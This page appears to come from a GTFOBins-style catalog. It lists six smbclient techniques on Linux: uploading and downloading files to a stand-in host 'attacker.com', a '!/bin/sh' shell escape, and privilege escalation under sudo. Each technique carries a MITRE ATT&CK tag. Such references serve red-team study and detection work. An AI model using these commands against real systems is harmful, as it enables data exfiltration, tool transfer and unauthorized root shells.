CatalogGTFOBins

GTFO · Tool

smbclient

6 techniquesLinuxGTFOBinsGPL-3.0

download

File DownloadPrivilege EscalationLinux
smbclient '\\attacker.com\share' -c 'get /path/to/input-file /path/to/output-file'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
download
MITRE
T1105

download

File DownloadLinux
smbclient '\\attacker.com\share' -c 'get /path/to/input-file /path/to/output-file'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
download
MITRE
T1105

shell

ExecutionPrivilege EscalationLinux

A valid SMB/CIFS server must be available.

smbclient '\\host\share'
!/bin/sh
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionLinux

A valid SMB/CIFS server must be available.

smbclient '\\host\share'
!/bin/sh
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
shell
MITRE
T1059

upload

File UploadPrivilege EscalationLinux
smbclient '\\attacker.com\share' -c 'put /path/to/input-file /path/to/output-file'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
upload
MITRE
T1041

upload

File UploadLinux
smbclient '\\attacker.com\share' -c 'put /path/to/input-file /path/to/output-file'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
upload
MITRE
T1041